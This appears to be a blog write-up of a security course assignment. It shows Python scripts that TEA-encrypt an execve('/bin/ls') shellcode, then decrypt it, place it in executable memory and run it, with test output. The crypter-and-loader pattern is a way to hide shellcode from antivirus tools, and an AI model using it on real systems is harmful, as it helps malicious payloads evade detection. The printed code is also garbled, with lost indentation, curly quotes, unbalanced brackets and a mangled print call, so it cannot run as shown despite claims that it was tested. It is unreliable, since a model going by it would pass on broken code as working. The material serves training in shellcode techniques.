SLAE: Assignment 7 of 7

Assignment #7:
- Create a custom crypter like the one shown in the course
- Free to use any existing encryption schema like RC4 or AES
- Can use any programming language
=====================================================================

My encoder will use the small but strong encryption algorithm TEA to encode the shellcode. The shellcode is the execve code used in assignment 4:
# execve('/bin/ls') - shellcode size is 25 bytes
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

Note: I used the following TEA key: [0x90909090, 0x90909090, 0x90909090, 0x90909090]

# filename: tea-encrypt.py
# Author: JollyFrogs
#
# Tea encryption/decryption source:
# http://stackoverflow.com/questions/2588364/python-tea-implementation

from __future__ import print_function
from ctypes import *
import struct

def encipher(v, k):
y=c_uint32(v[0]);
z=c_uint32(v[1]);
sum=c_uint32(0);
delta=0x9E3779B9;
n=32
w=[0,0]

while(n>0):
sum.value += delta
y.value += ( z.value << 4 ) + k[0] ^ z.value + sum.value ^ ( z.value >> 5 ) + k[1]
z.value += ( y.value << 4 ) + k[2] ^ y.value + sum.value ^ ( y.value >> 5 ) + k[3]
n -= 1

w[0]=y.value
w[1]=z.value
return w

def decipher(v, k):
y=c_uint32(v[0])
z=c_uint32(v[1])
sum=c_uint32(0xC6EF3720)
delta=0x9E3779B9;
n=32
w=[0,0]

while(n>0):
z.value -= ( y.value << 4 ) + k[2] ^ y.value + sum.value ^ ( y.value >> 5 ) + k[3]
y.value -= ( z.value << 4 ) + k[0] ^ z.value + sum.value ^ ( z.value >> 5 ) + k[1]
sum.value -= delta
n -= 1

w[0]=y.value
w[1]=z.value
return w

# execve('/bin/ls') - shellcode size is 25 bytes
scode = "\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90"

if len(scode) % 8 != 0:
print("shellcode is not divisable by 8, please pad the shellcode")
exit()

# encryption and decryption key
key = [0x90909090, 0x90909090, 0x90909090, 0x90909090]

# initialize teablock array
teablock = [0x00000000, 0x00000000]

print(" "); print("Original_shellcode = (")
for num in range(0,len(scode)/8):
teablock[0] = struct.unpack(">L", scode[0+(num*8):4+(num*8)])[0] # first half of TEA encrypt block
teablock[1] = struct.unpack(">L", scode[4+(num*8):8+(num*8)])[0] # second half of TEA encrypt block
bytes1 = [hex(decipher(encipher(teablock,key),key)[0] >> i & 0xff)[:-1] for i in (24,16,8,0)]
bytes2 = [hex(decipher(encipher(teablock,key),key)[1] >> i & 0xff)[:-1] for i in (24,16,8,0)]

# a simple hack to ensure all single hex numbers have leading zeroes
for num in range(0,4):
if len(bytes1[num]) == 3:
bytes1[num] = "0x0″+bytes1[num][2:]
# replace 0x with \x (different shellcode layout)
bytes1[num] = "\\x"+bytes1[num][2:]
for num in range(0,4):
if len(bytes2[num]) == 3:
bytes2[num] = "0x0″+bytes2[num][2:]
# replace 0x with \x (different shellcode layout)
bytes2[num] = "\\x"+bytes2[num][2:]
print("\"", end="")
print(".join(bytes1+bytes2), end="")
print("\"")
print(")")

print(" "); print("Encrypted_shellcode = (")
for num in range(0,len(scode)/8):
teablock[0] = struct.unpack(">L", scode[0+(num*8):4+(num*8)])[0] # first half of TEA encrypt block
teablock[1] = struct.unpack(">L", scode[4+(num*8):8+(num*8)])[0] # second half of TEA encrypt block
bytes1 = [hex(encipher(teablock,key)[0] >> i & 0xff)[:-1] for i in (24,16,8,0)]
bytes2 = [hex(encipher(teablock,key)[1] >> i & 0xff)[:-1] for i in (24,16,8,0)]

# a simple hack to ensure all single hex numbers have leading zeroes
for num in range(0,4):
if len(bytes1[num]) == 3:
bytes1[num] = "0x0″+bytes1[num][2:]
# replace 0x with \x (different shellcode layout)
bytes1[num] = "\\x"+bytes1[num][2:]
for num in range(0,4):
if len(bytes2[num]) == 3:
bytes2[num] = "0x0″+bytes2[num][2:]
# replace 0x with \x (different shellcode layout)
bytes2[num] = "\\x"+bytes2[num][2:]
print("\"", end="")
print(".join(bytes1+bytes2), end="")
print("\"");print(")");print(" ")

Note:We test the code works:

python tea-encrypt.py

Original_shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x6c\x73"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x89\xe2\x53\x89\xe1\xb0\x0b\xcd"
"\x80\x90\x90\x90\x90\x90\x90\x90"
)

Encrypted_shellcode = (
"\xc1\x1a\x6e\xa7\xe9\x30\x33\xbb"
"\x06\x9d\x92\x08\xcd\xa6\xb3\xd6"
"\xe2\xdb\x2c\x9b\xa7\x79\x4a\x94"
"\xa7\x79\x8e\x18\x5f\x6b\xd8\x9d"
)

# filename: tea-decrypt.py
# Author: JollyFrogs
#
# Tea encryption/decryption source:
# http://stackoverflow.com/questions/2588364/python-tea-implementation
# Execute shellcode from Python source:
# http://hacktracking.blogspot.sg/2015/05/execute-shellcode-in-python.html
#

from __future__ import print_function
from ctypes import *
import struct

def encipher(v, k):
y=c_uint32(v[0]);
z=c_uint32(v[1]);
sum=c_uint32(0);
delta=0x9E3779B9;
n=32
w=[0,0]
while(n>0):
sum.value += delta
y.value += ( z.value << 4 ) + k[0] ^ z.value + sum.value ^ ( z.value >> 5 ) + k[1]
z.value += ( y.value << 4 ) + k[2] ^ y.value + sum.value ^ ( y.value >> 5 ) + k[3]
n -= 1
w[0]=y.value
w[1]=z.value
return w

def decipher(v, k):
y=c_uint32(v[0])
z=c_uint32(v[1])
sum=c_uint32(0xC6EF3720)
delta=0x9E3779B9;
n=32
w=[0,0]
while(n>0):
z.value -= ( y.value << 4 ) + k[2] ^ y.value + sum.value ^ ( y.value >> 5 ) + k[3]
y.value -= ( z.value << 4 ) + k[0] ^ z.value + sum.value ^ ( z.value >> 5 ) + k[1]
sum.value -= delta
n -= 1
w[0]=y.value
w[1]=z.value
return w

# encryption and decryption key
key = [0x90909090, 0x90909090, 0x90909090, 0x90909090]

# initialize teablock array
teablock = [0x00000000, 0x00000000]

# original shellcode:
# execve('/bin/ls') - shellcode size is 25 bytes
# "\x31\xc0\x50\x68\x2f\x2f\x6c\x73"
# "\x68\x2f\x62\x69\x6e\x89\xe3\x50"
# "\x89\xe2\x53\x89\xe1\xb0\x0b\xcd"
# "\x80\x90\x90\x90\x90\x90\x90\x90"

# Note: This encrypted shellcode is generated by tea-encrypt.py
Encrypted_shellcode = (
"\xc1\x1a\x6e\xa7\xe9\x30\x33\xbb"
"\x06\x9d\x92\x08\xcd\xa6\xb3\xd6"
"\xe2\xdb\x2c\x9b\xa7\x79\x4a\x94"
"\xa7\x79\x8e\x18\x5f\x6b\xd8\x9d"
)

if len(Encrypted_shellcode) % 8 != 0:
print("Encrypted shellcode is not divisable by 8")
print("Copy/paste the Encrypted_shellcode from tea-encrypt.py")
exit()

print("Decrypting Encrypted_shellcode now...")
Decrypted_shellcode = ""

# repeat decryption until last teablock
for num in range(0,len(Encrypted_shellcode)/8):
# first half of TEA encrypt block
teablock[0] = struct.unpack(">L", Encrypted_shellcode[0+(num*8):4+(num*8)])[0]
# second half of TEA encrypt block
teablock[1] = struct.unpack(">L", Encrypted_shellcode[4+(num*8):8+(num*8)])[0]
# Add the first decrypted half of TEA block to Decrypted_shellcode
Decrypted_shellcode += struct.pack('>L',decipher(teablock,key])
# Add the second decrypted half of TEA block to Decrypted_shellcode
Decrypted_shellcode += struct.pack('>L',decipher(teablock,key])

print("Running decrypted shellcode now...");print(" ")
libc = CDLL('libc.so.6')
sc = c_char_p(Decrypted_shellcode)
size = len(Decrypted_shellcode)
addr = c_void_p(libc.valloc(size))
memmove(addr, sc, size)
libc.mprotect(addr, size, 0x7)
run = cast(addr, CFUNCTYPE(c_void_p))
run()

Note: We test that the program works:

python tea-decrypt.py

Decrypting Encrypted_shellcode now...
Running decrypted shellcode now...
tea-decrypt.py  tea-encrypt.py

Note: The program correctly executes execve('/bin/ls') and lists the directory structure